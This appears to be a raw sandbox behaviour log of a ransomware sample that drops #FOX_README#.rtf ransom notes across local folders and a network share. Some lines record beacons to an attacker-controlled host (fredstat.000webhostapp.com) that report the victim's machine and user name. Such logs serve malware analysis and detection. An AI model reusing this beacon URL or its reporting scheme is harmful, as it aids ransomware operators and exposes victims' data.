f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\nl\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\nl\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\dropins\#FOX_README#.rtf NW6U7626.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\#FOX_README#.rtf NW6U7626.exe HTTP URL 286 http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=GOHCSFBB|Admin&sid=itsavYzBZKugFVbZ&phase=[SHARES]5 Process not Found File created C:\Program Files\Mozilla Firefox\browser\features\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.zh_CN_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\plugins\access\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Microsoft\User Account Pictures\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\xh-ZA\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\configuration\org.eclipse.equinox.simpleconfigurator\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\si-LK\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\jre\bin\server\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\Assets\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\is\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ur\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\INetCache\TCZH0X01\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\zh-TW\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\en-GB\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\fr\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Public\Pictures\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\art\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\plugins\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\All Users\Microsoft\UEV\Scripts\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\jre\lib\#FOX_README#.rtf NW6U7626.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp_5.5.0.165303\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\RH2CTMAX\2\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\mi-NZ\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Microsoft\ClickToRun\ProductReleases\5A1DF312-5349-45A2-A5CA-533D6765243A\en-us.16\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\core\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ja\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\wasm\index-dir\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\Credentials\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\sr-Cyrl-RS\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\de\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\my\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\http\css\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\uz-Latn-UZ\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\configuration\org.eclipse.update\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files (x86)\Google\Chrome\Application\Dictionaries\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\ext\locale\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_BR\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Microsoft\ClickToRun\MachineData\Catalog\Packages\{9AC08E99-230B-47E8-9721-4577B7F124EA}\{1A8308C7-90D1-4200-B16E-646F163A08E8}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\DC\Security\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\All Users\Microsoft\Diagnosis\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\odt\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\Pictures\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\bin\server\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Microsoft\Diagnosis\DownloadedScenarios\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Window.2\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AC\BackgroundTransferApi\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\pt-PT\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\jre\lib\management\#FOX_README#.rtf NW6U7626.exe File created C:\ProgramData\Package Cache\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\packages\vcRuntimeMinimum_amd64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\GPUCache\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\es\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\extensions\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2066881839-3229799743-3576549721-1000\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files (x86)\Google\Chrome\Application\83.0.4103.106\Locales\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\DesktopView_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\http\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\lua\sd\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\.oracle_jre_usage\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\0lj62mcv.default-release\safebrowsing\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\cy\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\LocalLow\Oracle\Java\jre1.8.0_66_x64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\amd64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\ga\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\th\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\et\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\ru\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ms\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\or-IN\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\jre\bin\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\images\cursors\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\sk\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\adm\it\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\Pictures\Camera Roll\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\lib\locale\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\etc\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\ig-NG\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{d7cdbfee-fb64-4fe9-86c3-56687bfeb65d}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\cs\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\kk\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe HTTP URL 31 http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=GOHCSFBB|Admin&sid=N9JBFkHbeUm4Ir1M&phase=[ALL]3F718AEBA1F62D9C Process not Found HTTP URL 32 http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=GOHCSFBB|Admin&sid=N9JBFkHbeUm4Ir1M&phase=3F718AEBA1F62D9C|3239|2GB Process not Found File created C:\Program Files\Java\jdk1.8.0_66\jre\lib\cmm\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\amd64\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.core_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\ProgramData\Microsoft\MF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0lj62mcv.default-release\datareporting\archived\2020-06\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\css\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\core\locale\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\quz-PE\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created \??\UNC\10.10.0.17\C$\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_zh_4.4.0.v20140623020002\#FOX_README#.rtf NW6U7626.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\.settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\cmm\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Local\Packages\Microsoft.PPIProjection_cw5n1h2txyewy\Settings\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\0lj62mcv.default-release\datareporting\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\VideoLAN\VLC\locale\nb\LC_MESSAGES\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\UProof\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\features\com.jrockit.mc.feature.rcp.ja_5.5.0.165303\#FOX_README#.rtf f92a631f2f12e7ba8c9d031a31b5f4c1158e140665c5d081db55f67b11fb4a14.exe File created C:\Program Files\Java\jre1.8.0_66\lib\#FOX_README#.rtf 